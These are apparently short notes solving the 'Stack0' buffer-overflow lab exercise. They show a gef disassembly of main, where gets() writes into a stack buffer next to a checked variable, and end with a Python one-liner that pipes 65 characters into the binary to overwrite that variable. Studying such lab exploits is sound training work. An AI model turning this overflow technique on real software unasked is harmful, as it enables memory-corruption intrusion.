Stack0

gef➤  disas main
Dump of assembler code for function main:
   0x00000000004005dd <+0>:	push   rbp
   0x00000000004005de <+1>:	mov    rbp,rsp
   0x00000000004005e1 <+4>:	sub    rsp,0x60
   0x00000000004005e5 <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x00000000004005e8 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004005ec <+15>:	mov    edi,0x400680
   0x00000000004005f1 <+20>:	call   0x400440 <puts@plt>
   0x00000000004005f6 <+25>:	mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004005fd <+32>:	lea    rax,[rbp-0x50]
   0x0000000000400601 <+36>:	mov    rdi,rax
   0x0000000000400604 <+39>:	call   0x400430 <gets@plt>
   0x0000000000400609 <+44>:	mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040060c <+47>:	test   eax,eax
   0x000000000040060e <+49>:	je     0x40061c <main+63>
   0x0000000000400610 <+51>:	mov    edi,0x4006d0
   0x0000000000400615 <+56>:	call   0x400440 <puts@plt>
   0x000000000040061a <+61>:	jmp    0x400626 <main+73>
   0x000000000040061c <+63>:	mov    edi,0x400708
   0x0000000000400621 <+68>:	call   0x400440 <puts@plt>
   0x0000000000400626 <+73>:	mov    edi,0x0
   0x000000000040062b <+78>:	call   0x400450 <exit@plt>
End of assembler dump.
python -c "print 'a'*(0x50-0x10+1)" | ./stack-zero